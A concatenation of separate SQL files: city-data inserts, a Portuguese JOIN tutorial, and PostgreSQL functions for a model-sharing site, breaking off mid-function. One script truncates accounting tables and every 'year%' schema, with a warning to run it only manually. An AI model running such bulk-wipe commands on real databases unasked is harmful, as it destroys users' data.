`subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Haqqulobod','Haqqulobod',72.1167,40.9167,'P','PPL','UZ.06',NULL,26257,'Asia/Tashkent',1,'2010-08-08 23:00:00','2010-08-08 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Kosonsoy','Kosonsoy',71.5474,41.2494,'P','PPLA2','UZ.06',NULL,43684,'Asia/Tashkent',1,'2016-10-06 23:00:00','2016-10-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Jizzax','Jizzax',67.8284,40.1234,'P','PPLA','UZ.15',NULL,152642,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Iskandar','Iskandar',69.7008,41.5539,'P','PPL','UZ.14',NULL,27636,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Hazorasp','Hazorasp',61.0742,41.3194,'P','PPLA2','UZ.05',NULL,17643,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Gurlan','Gurlan',60.3927,41.8412,'P','PPLA2','UZ.05',NULL,27506,'Asia/Samarkand',1,'2020-04-07 23:00:00','2020-04-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Guliston','Guliston',68.7842,40.4897,'P','PPLA','UZ.16',NULL,53373,'Asia/Tashkent',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',64.6823,40.1022,'P','PPLA2','UZ.02',NULL,41070,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Gazli','Gazli',63.4571,40.1311,'P','PPL','UZ.02',NULL,11446,'Asia/Samarkand',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','G‘azalkent','G\'azalkent',69.7708,41.5581,'P','PPL','UZ.14',NULL,24700,'Asia/Tashkent',1,'2012-05-02 23:00:00','2012-05-02 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',68.1677,40.6647,'P','PPLA2','UZ.15',NULL,24856,'Asia/Tashkent',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Fergana','Fergana',71.7843,40.3842,'P','PPLA','UZ.03',NULL,164322,'Asia/Tashkent',1,'2019-09-04 23:00:00','2019-09-04 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',68.9408,41.0194,'P','PPLA','UZ.14',NULL,0,'Asia/Tashkent',1,'2013-08-10 23:00:00','2013-08-10 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','<NAME>','<NAME>',68.0315,40.5288,'P','PPLA2','UZ.15',NULL,16524,'Asia/Tashkent',1,'2020-02-06 23:00:00','2020-02-06 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chust','Chust',71.2379,41.0033,'P','PPL','UZ.06',NULL,64966,'Asia/Tashkent',1,'2017-07-03 23:00:00','2017-07-03 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chirchiq','Chirchiq',69.5822,41.4689,'P','PPL','UZ.14',NULL,167842,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chinoz','Chinoz',68.7613,40.9363,'P','PPL','UZ.14',NULL,24553,'Asia/Tashkent',1,'2016-09-07 23:00:00','2016-09-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Chortoq','Chortoq',71.8237,41.0692,'P','PPLA2','UZ.06',NULL,49844,'Asia/Tashkent',1,'2016-04-09 23:00:00','2016-04-09 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Bo‘ka','Bo`ka',69.1942,40.8111,'P','PPL','UZ.14',NULL,19642,'Asia/Tashkent',1,'2016-09-07 23:00:00','2016-09-07 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Beshariq','Beshariq',70.6103,40.4358,'P','PPLA2','UZ.03',NULL,21984,'Asia/Tashkent',1,'2015-09-05 23:00:00','2015-09-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Beruniy','Beruniy',60.7525,41.6911,'P','PPL','UZ.09',NULL,50929,'Asia/Samarkand',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Bektemir','Bektemir',69.3342,41.2097,'P','PPL','UZ.13',NULL,26380,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Bekobod','Bekobod',69.2697,40.2208,'P','PPL','UZ.14',NULL,86259,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Angren','Angren',70.1436,41.0167,'P','PPL','UZ.14',NULL,126957,'Asia/Tashkent',1,'2012-01-16 23:00:00','2012-01-16 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Andijon','Andijon',72.3442,40.7821,'P','PPLA','UZ.01',NULL,318419,'Asia/Tashkent',1,'2017-02-19 23:00:00','2017-02-19 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Oltiariq','Oltiariq',71.4742,40.3919,'P','PPLA2','UZ.03',NULL,25543,'Asia/Tashkent',1,'2015-09-05 23:00:00','2015-09-05 23:00:00'); INSERT INTO `<<prefix>>cities` (`country_code`, `name`, `asciiname`, `longitude`, `latitude`, `feature_class`, `feature_code`, `subadmin1_code`, `subadmin2_code`, `population`, `time_zone`, `active`, `created_at`, `updated_at`) VALUES ('UZ','Quva','Quva',72.0729,40.522,'P','PPLA2','UZ.03',NULL,33167,'Asia/Tashkent',1,'2015-09-05 23:00:00','2015-09-05 23:00:00'); /*!40000 ALTER TABLE `<<prefix>>cities` ENABLE KEYS */; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed
<reponame>dev1dev2dev3/importExcel create view commentaire_vue as select commentaire.id, concat(concat(utilisateur.nom, ' '), utilisateur.prenom) as utilisateur, commentaire.contribution, commentaire.contenu, commentaire.daty from commentaire join utilisateur on commentaire.utilisateur = utilisateur.id;
<gh_stars>0 --- db_schema database has old transactions at time of booking in this script. --- This script deletes the old data. --- THIS SCRIPT SHOULD ALWAYS BE CALLED MANUALLY BY A RESPONSIBLE PARTY, AND NEVER AT A LIVE SITE !!!! TRUNCATE lysglb.ldgr_movement CASCADE; TRUNCATE lysglb.deboop CASCADE; TRUNCATE lysglb.debfopen CASCADE; TRUNCATE lysglb.debfdetail CASCADE; TRUNCATE lysglb.cashoop CASCADE; TRUNCATE lysglb.creopen CASCADE; TRUNCATE lysglb.cashoop CASCADE; TRUNCATE lysglb.debftrans CASCADE; DO $$ DECLARE arec record; BEGIN FOR arec IN SELECT format( 'TRUNCATE %s.%s ', table_schema, table_name ) AS instr FROM information_schema.TABLES WHERE table_schema LIKE 'year%' AND table_type = 'BASE TABLE' LOOP EXECUTE arec.instr; END LOOP; END; $$ LANGUAGE plpgsql; SELECT utility.if_then_else( $$SELECT count(*) = 1 FROM pg_tables WHERE tablename= 'cf_primary'$$, ' TRUNCATE analysis.cf_primary CASCADE; TRUNCATE analysis.cf_contra; TRUNCATE analysis.to_deb_primary CASCADE; TRUNCATE analysis.to_deb_contra; TRUNCATE analysis.to_cre_primary CASCADE; TRUNCATE analysis.to_cre_contra; TRUNCATE analysis.jnl; ', '' );
<filename>Commands_4_JOIN.sql # Selecionando a tabela a ser trabalhada use cadastro; # Verificando o tipo dos campos e o tamanho describe gafanhotos; # Inserindo uma coluna a tabela gafanhotos alter table gafanhotos add column cursopreferido int; # Alterando o tipo do campo criado como chave estrangeira alter table gafanhotos add foreign key (cursopreferido) references cursos(idcurso); # visualizando as tabelas select * from gafanhotos; select * from cursos; # Inserindo registro de forma manual update gafanhotos set cursopreferido ='6' where id = '1'; # Excluindo registro da tabela de referência # Irá dar erro se a referência estiver sendo usada como chave extrangeira delete from cursos where idcurso = '28'; # Mostrando os campos de interesse de cada tabela select nome, cursopreferido from gafanhotos; select nome, ano from cursos; # Realizando a referência da tabela gafanhotos com a chave extrangeira # Inner Join - mostra somente os registros que contém referência com a outra tabela select gafanhotos.nome, gafanhotos.cursopreferido, cursos.nome, cursos.ano from gafanhotos join cursos on cursos.idcurso = gafanhotos.cursopreferido order by gafanhotos.nome; # Usando o comando 'as' para dar apelido às tabelas select g.nome, g.cursopreferido, c.nome, c.ano from gafanhotos as g inner join cursos as c on c.idcurso = g.cursopreferido order by g.nome; # Left Join - mostra todos os registros e coloca como tabela principal a que estiver posicionada à esquerda no comando select g.nome, c.nome, c.ano from gafanhotos as g left join cursos as c on c.idcurso = g.cursopreferido; # Right Join - mostra todos os registros e coloca como tabela principal a que estiver posicionada à direita no comando select g.nome, c.nome, c.ano from gafanhotos as g right outer join cursos as c on c.idcurso = g.cursopreferido;
SET search_path TO final; DROP FUNCTION IF EXISTS get_group_visibile_models(BIGINT); DROP FUNCTION IF EXISTS get_all_visibile_models(BIGINT); DROP FUNCTION IF EXISTS get_user_hash(BIGINT); DROP FUNCTION IF EXISTS get_thumbnail_information(BIGINT); DROP FUNCTION IF EXISTS get_members_of_group(BIGINT); DROP FUNCTION IF EXISTS get_administrators_of_group(BIGINT); DROP FUNCTION IF EXISTS get_friends_of_member(BIGINT); DROP FUNCTION IF EXISTS get_complete_friends_of_member(BIGINT); DROP FUNCTION IF EXISTS get_groups_of_member(BIGINT); DROP FUNCTION IF EXISTS get_complete_groups_of_member(BIGINT); DROP FUNCTION IF EXISTS get_top_rated_models(INTEGER, INTEGER, BIGINT); DROP FUNCTION IF EXISTS get_whats_hot_models(INTEGER, INTEGER, BIGINT); DROP FUNCTION IF EXISTS get_new_models(INTEGER, INTEGER, BIGINT); DROP FUNCTION IF EXISTS get_random_models(INTEGER, INTEGER, BIGINT); DROP FUNCTION IF EXISTS get_model_counts_per_month_year(DATE, DATE); DROP FUNCTION IF EXISTS get_member_counts_per_month_year(DATE, DATE); DROP FUNCTION IF EXISTS get_group_counts_per_month_year(DATE, DATE); DROP FUNCTION IF EXISTS get_counts_per_month_year(DATE, DATE); DROP FUNCTION IF EXISTS get_notifications(TIMESTAMP, INTEGER); DROP FUNCTION IF EXISTS get_member_notifications(BIGINT, TIMESTAMP, INTEGER); DROP FUNCTION IF EXISTS get_group_notifications(BIGINT, TIMESTAMP, INTEGER); DROP FUNCTION IF EXISTS get_model(BIGINT, TIMESTAMP, INTEGER); DROP FUNCTION IF EXISTS insert_on_user_tags_view(); DROP FUNCTION IF EXISTS delete_from_user_tags_view(); DROP FUNCTION IF EXISTS insert_on_model_tags_view(); DROP FUNCTION IF EXISTS delete_from_model_tags_view(); ------------- -- Helpers -- ------------- -- List all the groups of a user -- CREATE OR REPLACE FUNCTION get_groups_of_member(memberId BIGINT) RETURNS TABLE(groupId BIGINT) AS $$ SELECT TGroup.id FROM TGroup JOIN GroupUser ON GroupUser.idGroup = TGroup.id AND GroupUser.idMember = $1 $$ LANGUAGE SQL; -- List the id and name of all the groups of a user -- CREATE OR REPLACE FUNCTION get_complete_groups_of_member(memberId BIGINT) RETURNS TABLE(groupId BIGINT, groupName VARCHAR(70), about VARCHAR, avatarimg VARCHAR) AS $$ SELECT TGroup.id, TGroup.name, TGroup.about, TGroup.avatarImg FROM TGroup JOIN GroupUser ON GroupUser.idGroup = TGroup.id AND GroupUser.idMember = $1 AND TGroup.deleteDate IS NULL $$ LANGUAGE SQL; DROP VIEW IF EXISTS model_info; CREATE VIEW model_info AS SELECT id, idAuthor, name, description, userFileName, fileName, createDate, visibility, numUpVotes, numDownVotes FROM model JOIN modelvote ON model.id = modelvote.idModel; CREATE OR REPLACE FUNCTION get_group_visibile_models(userId BIGINT) RETURNS TABLE (id BIGINT) AS $$ BEGIN RETURN QUERY SELECT DISTINCT idModel FROM GroupModel WHERE idGroup IN (SELECT get_groups_of_member(userId)); END; $$ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION get_all_visibile_models(userId BIGINT) RETURNS TABLE (id BIGINT) AS $$ BEGIN IF (userId IN (SELECT registeredUser.id FROM registeredUser WHERE isAdmin = TRUE)) THEN RETURN QUERY SELECT Model.id FROM Model; ELSE RETURN QUERY SELECT Model.id FROM Model WHERE idAuthor = userId OR -- my models visibility = 'public' OR -- public model (visibility = 'friends' AND idAuthor IN (SELECT friendId FROM get_friends_of_member(userId))) -- my friends UNION SELECT get_group_visibile_models(userId); END IF; END; $$ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION get_user_hash(userId BIGINT) -- hash used to get avatar from email with Gravatar RETURNS TEXT AS $$ SELECT md5(lower(btrim(email))) FROM RegisteredUser WHERE id = $1; $$ LANGUAGE SQL; --- -- Get thumbnail information for a model -- CREATE OR REPLACE FUNCTION get_thumbnail_information(modelId BIGINT) RETURNS TABLE(modelName VARCHAR, authorName VARCHAR, createDate TIMESTAMP, fileName VARCHAR, numUpVotes BIGINT, numDownVotes BIGINT, numComments BIGINT) AS $$ SELECT model_info.name, RegisteredUser.username, model_info.createDate, fileName, numUpVotes, numDownVotes, count(TComment.id) FROM model_info JOIN RegisteredUser ON RegisteredUser.id = model_info.idAuthor LEFT JOIN TComment ON TComment.idModel = model_info.id AND TComment.deleted = false WHERE model_info.id = $1 GROUP BY model_info.name, RegisteredUser.username, model_info.createDate, fileName, numUpVotes, numDownVotes $$ LANGUAGE SQL; -- List all the members of a group -- CREATE OR REPLACE FUNCTION get_members_of_group(groupId BIGINT) RETURNS TABLE(memberId BIGINT, memberName VARCHAR, isAdmin BOOLEAN, lastAccess TIMESTAMP) AS $$ SELECT Member.id, RegisteredUser.username, GroupUser.isAdmin, GroupUser.lastAccess FROM GroupUser JOIN TGroup ON GroupUser.idGroup = TGroup.id JOIN Member ON Member.id = GroupUser.idMember JOIN RegisteredUser ON RegisteredUser.id = Member.id WHERE TGroup.id = $1 ORDER BY Member.name ASC $$ LANGUAGE SQL; -- List all the administrators of a group -- CREATE OR REPLACE FUNCTION get_administrators_of_group(groupId BIGINT) RETURNS TABLE(memberId BIGINT, memberName VARCHAR) AS $$ SELECT Member.id, Member.name FROM GroupUser JOIN TGroup ON GroupUser.idGroup = $1 JOIN Member ON (Member.id = GroupUser.idMember AND GroupUser.isAdmin = 'true') ORDER BY Member.name ASC $$ LANGUAGE SQL; -- List all the friend id's of a user -- CREATE OR REPLACE FUNCTION get_friends_of_member(memberId BIGINT) RETURNS TABLE(friendId BIGINT) AS $$ SELECT CASE $1 WHEN Friendship.idMember1 THEN Friendship.idMember2 WHEN Friendship.idMember2 THEN Friendship.idMember1 END AS memberId FROM Friendship WHERE $1 IN (Friendship.idMember1, Friendship.idMember2) $$ LANGUAGE SQL; -- List all the friend id's and name of a user -- CREATE OR REPLACE FUNCTION get_complete_friends_of_member(memberId BIGINT) RETURNS TABLE(memberId BIGINT, memberName VARCHAR, hash VARCHAR, about VARCHAR) AS $$ SELECT Member.id, RegisteredUser.username, get_user_hash(Member.id) as hash, Member.about FROM get_friends_of_member($1) JOIN Member ON Member.id = friendId JOIN RegisteredUser ON Member.id = RegisteredUser.id $$ LANGUAGE SQL; -- List the top rated models -- CREATE OR REPLACE FUNCTION get_top_rated_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT) RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT id FROM get_all_visibile_models(userId) JOIN ModelVote ON id = ModelVote.idModel ORDER BY (numupvotes - numdownvotes) DESC LIMIT max_model_number_limit OFFSET skip; END; $$ LANGUAGE plpgsql; -- List the what's hot models -- CREATE OR REPLACE FUNCTION get_whats_hot_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT) -- ranking based on Reddit's algorithm -- ts = createDate - 2014-01-01 00:00:00 // s -- x = upvotes - downvotes -- y = { 1 <- x > 0; 0 <- x = 0; -1 <- x < 0 } -- z = { |x| <- |x| >= 1; 1 <- |x| < 1 } // for ints, |x| < 1 implies x = 0 -- points = log10(z) + y * ts / 45000 // order by; 12.5 hours is 45000 seconds RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT get_all_visibile_models.id FROM get_all_visibile_models(userId) JOIN model_info ON get_all_visibile_models.id = model_info.id ORDER BY (log(CASE WHEN (numupvotes - numdownvotes) != 0 THEN @(numupvotes - numdownvotes) ELSE 1::INTEGER END) + CASE WHEN (numupvotes - numdownvotes) > 0 THEN 1::INTEGER WHEN (numupvotes - numdownvotes) = 0 THEN 0::INTEGER ELSE -1::INTEGER END * EXTRACT(epoch FROM (createDate - '2014-01-01 00:00:00'::TIMESTAMP)) / 45000) DESC LIMIT max_model_number_limit OFFSET skip; END; $$ LANGUAGE plpgsql; -- List the new models -- CREATE OR REPLACE FUNCTION get_new_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT) RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT get_all_visibile_models.id FROM get_all_visibile_models(userId) JOIN Model ON get_all_visibile_models.id = Model.id ORDER BY (createDate) DESC LIMIT max_model_number_limit OFFSET skip; END; $$ LANGUAGE plpgsql; -- List random models -- CREATE OR REPLACE FUNCTION get_random_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT) -- skip is not actually used /* multiple solutions to select N random model ids were tested with "order by rnd" being the most simple and reliable one the downside is that it does a full scan + sort on the table, which can be slow if the table gets very large. an alternative is to implement this logic in PHP */ RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT id FROM get_all_visibile_models(userId) ORDER BY RANDOM() LIMIT max_model_number_limit; END; $$ LANGUAGE plpgsql; -- List user models -- CREATE OR REPLACE FUNCTION get_user_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT, whoUserId BIGINT) RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT get_all_visibile_models.id FROM get_all_visibile_models(userId) JOIN Model ON get_all_visibile_models.id = Model.id WHERE idAuthor = whoUserId LIMIT max_model_number_limit OFFSET skip; END; $$ LANGUAGE plpgsql; -- List group models -- CREATE OR REPLACE FUNCTION get_group_models(max_model_number_limit INTEGER, skip INTEGER, userId BIGINT, whoGroupId BIGINT) RETURNS TABLE (modelId BIGINT) AS $$ BEGIN RETURN QUERY SELECT idModel FROM GroupModel JOIN TGroup ON TGroup.id = whoGroupId WHERE idGroup = whoGroupId AND (visibility = 'public' OR (visibility = 'private' AND userId IN (SELECT idMember FROM GroupUser WHERE idGroup = whoGroupId))); END; $$ LANGUAGE plpgsql; -------------------- -- Administration -- -------------------- -- Get number of models created per month between two dates DROP FUNCTION IF EXISTS get_model_counts_per_month_year(DATE, DATE); CREATE OR REPLACE FUNCTION get_model_counts_per_month_year(startDate DATE, endDate DATE) RETURNS TABLE (month INTEGER, year INTEGER, models INTEGER) AS $$ BEGIN RETURN QUERY SELECT EXTRACT(month FROM ts)::INTEGER as Month, EXTRACT(year FROM ts)::INTEGER as Year, COALESCE(count, 0)::INTEGER as Models FROM ( SELECT EXTRACT(month FROM createDate) as Month, EXTRACT(year FROM createDate) as Year, COUNT(*) FROM Model WHERE createDate > startDate AND createDate < endDate GROUP BY 1, 2 ) AS cnt RIGHT OUTER JOIN (SELECT * FROM generate_series(startDate::TIMESTAMP, endDate - INTERVAL '1 second', '1 month') AS ts) AS dtetable ON EXTRACT(month FROM ts) = cnt.Month AND EXTRACT(year FROM ts) = cnt.Year ORDER BY Year, Month ASC; END; $$ LANGUAGE plpgsql; -- Get number of members registered per month between two dates DROP FUNCTION IF EXISTS get_member_counts_per_month_year(DATE, DATE); CREATE OR REPLACE FUNCTION get_member_counts_per_month_year(startDate DATE, endDate DATE) RETURNS TABLE (month INTEGER, year INTEGER, members INTEGER) AS $$ BEGIN RETURN QUERY SELECT EXTRACT(month FROM ts)::INTEGER as Month, EXTRACT(year FROM ts)::INTEGER as Year, COALESCE(count, 0)::INTEGER as Members FROM ( SELECT EXTRACT(month FROM registerDate) as Month, EXTRACT(year FROM registerDate) as Year, COUNT(*) FROM Member WHERE registerDate > startDate AND registerDate < endDate GROUP BY 1, 2 ) AS cnt RIGHT OUTER JOIN (SELECT * FROM generate_series(startDate::TIMESTAMP, endDate - INTERVAL '1 second', '1 month') AS ts) AS dtetable ON EXTRACT(month FROM ts) = cnt.Month AND EXTRACT(year FROM ts) = cnt.Year ORDER BY Year, Month ASC; END; $$ LANGUAGE plpgsql; -- Get number of groups created per month between two dates DROP FUNCTION IF EXISTS get_group_counts_per_month_year(DATE, DATE); CREATE OR REPLACE FUNCTION get_group_counts_per_month_year(startDate DATE, endDate DATE) RETURNS TABLE (month INTEGER, year INTEGER, groups INTEGER) AS $$ BEGIN RETURN QUERY SELECT EXTRACT(month FROM ts)::INTEGER as Month, EXTRACT(year FROM ts)::INTEGER as Year, COALESCE(count, 0)::INTEGER as Groups FROM ( SELECT EXTRACT(month FROM createDate) as Month, EXTRACT(year FROM createDate) as Year, COUNT(*) FROM TGroup WHERE createDate > startDate AND createDate < endDate GROUP BY 1, 2 ) AS cnt RIGHT OUTER JOIN (SELECT * FROM generate_series(startDate::TIMESTAMP, endDate - INTERVAL '1 second', '1 month') AS ts) AS dtetable ON EXTRACT(month FROM ts) = cnt.Month AND EXTRACT(year FROM ts) = cnt.Year ORDER BY Year, Month ASC; END; $$ LANGUAGE plpgsql; -- Get number of models, members and groups created per month between two dates -- Note: startDate = 2014-01-01, endDate = 2015-01-01 should return 12 results. that's why that "-1 second" is required DROP FUNCTION IF EXISTS get_counts_per_month_year(DATE, DATE); CREATE OR REPLACE FUNCTION get_counts_per_month_year(startDate DATE, endDate DATE) RETURNS TABLE (month INTEGER, year INTEGER, models INTEGER, members INTEGER, groups INTEGER) AS $$ BEGIN RETURN QUERY SELECT * FROM get_model_counts_per_month_year(startDate, endDate) INNER JOIN get_member_counts_per_month_year(startDate, endDate) USING (month, year) INNER JOIN get_group_counts_per_month_year(startDate, endDate) USING (month, year); END; $$ LANGUAGE plpgsql; ------------------- -- Notifications -- ------------------- -- List the newest notifications within a given range -- CREATE OR REPLACE FUNCTION get_notifications(oldest_date_limit TIMESTAMP, max_notifications_limit INTEGER) RETURNS TABLE(idNotification BIGINT, notType notification_type, idFriendshipInvite BIGINT, idGroupApplication BIGINT, idGroupInvite BIGINT, idModel BIGINT) AS $$ SELECT id, notificationType, idFriendshipInvite, idGroupApplication, idGroupInvite, idModel FROM Notification WHERE createDate >= $1 LIMIT $2 $$ LANGUAGE SQL; -- List the newest member notifications within a given range -- CREATE OR REPLACE FUNCTION get_member_notifications(memberId BIGINT, oldest_date_limit TIMESTAMP, max_notifications_limit INTEGER) RETURNS TABLE(idNotification BIGINT, notType notification_type, idFriendshipInvite BIGINT, idGroupApplication BIGINT, idGroupInvite BIGINT, idModel BIGINT, createDate TIMESTAMP, seen boolean) AS $$ SELECT Notification.id, Notification.notificationType, Notification.idFriendshipInvite, Notification.idGroupApplication, Notification.idGroupInvite, Notification.idModel, Notification.createDate, UserNotification.seen FROM Notification JOIN UserNotification ON UserNotification.idMember = $1 AND UserNotification.idNotification = Notification.id WHERE createDate >= $2 ORDER BY createDate DESC LIMIT $3 $$ LANGUAGE SQL; -- List the newest member notifications within a given range with the required data -- CREATE OR REPLACE FUNCTION get_complete_member_notifications (in memberid int8, in oldest_date_limit timestamp, in max_notifications_limit int4) RETURNS TABLE(idNotification BIGINT, notType notification_type, idFriendshipInvite BIGINT, idGroupApplication BIGINT, idGroupInvite BIGINT, idModel BIGINT, createDate TIMESTAMP, seen boolean, idMember BIGINT, modelName VARCHAR(70), modelDescription VARCHAR(1024), accepted BOOLEAN, idGroup BIGINT, username VARCHAR(20), groupName VARCHAR(70), groupAbout VARCHAR(1024)) AS $BODY$ SELECT q.*, registeredUser.username, tgroup.name AS groupName, tgroup.about AS groupAbout FROM (SELECT notification.*, (CASE WHEN notification.nottype = 'Publication' THEN model.idAuthor WHEN notification.nottype = 'GroupInvite' THEN gInvite.idSender WHEN notification.nottype = 'GroupInviteAccepted' THEN gInvite.idReceiver WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 